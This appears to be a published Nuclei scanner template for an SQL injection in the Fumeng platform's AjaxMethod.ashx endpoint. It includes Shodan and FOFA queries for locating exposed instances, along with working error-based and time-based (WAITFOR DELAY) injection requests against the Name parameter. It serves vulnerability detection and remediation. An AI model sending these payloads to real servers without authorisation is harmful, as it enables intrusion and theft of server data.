Fumeng - SQL Injection

ID: fumengyun-sqli

Severity: critical

Author: ritikchaddha

Tags: time-based-sqli,fumasoft,sqli

Description

The Fumeng AjaxMethod.ashx file has an SQL injection vulnerability. Attackers can use this vulnerability to obtain server data.

YAML Source

id: fumengyun-sqli

info:
  name: Fumeng - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The Fumeng AjaxMethod.ashx file has an SQL injection vulnerability. Attackers can use this vulnerability to obtain server data.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive data.
  remediation: |
    Implement input validation and use parameterized queries to prevent SQL Injection attacks.
  reference:
    - https://github.com/emadshanab/goby-poc/blob/main/fumengyun%20%20AjaxMethod.ashx%20SQL%20injection.json
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
    epss-score: 0.00076
    epss-percentile: 0.31944
  metadata:
    max-request: 1
    shodan-query: title:"孚盟云 "
    fofa-query: title="孚盟云 "
  tags: time-based-sqli,fumasoft,sqli

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(response, "孚盟")'
        internal: true

  - raw:
      - |
        @timeout: 30s
        GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27 HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 30s
        GET /Ajax/AjaxMethod.ashx?action=getEmpByname&Name=Y%27;WAITFOR%20DELAY%20%270:0:6%27-- HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        name: error-based
        dsl:
          - 'contains_all(response_1, "SELECT count", "System.Exception:", "WHERE upper")'
          - 'status_code_1 == 500'
        condition: and

      - type: dsl
        name: time-based
        dsl:
          - 'duration_2>=6'
          - 'len(body_2) == 1'
          - 'regex("^0$", body_2)'
          - 'contains(content_type_2, "text/plain")'
        condition: and
# digest: 490a00463044022100972c6195c7c5308976cef32142fc760f9969e06ce2c9e079fa776b2aca76f80f021f1bfbc997ba70b8abe0d777d30a53a0b8431523cb53a3227f95b731fc7edf11:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/fumengyun-sqli.yaml"

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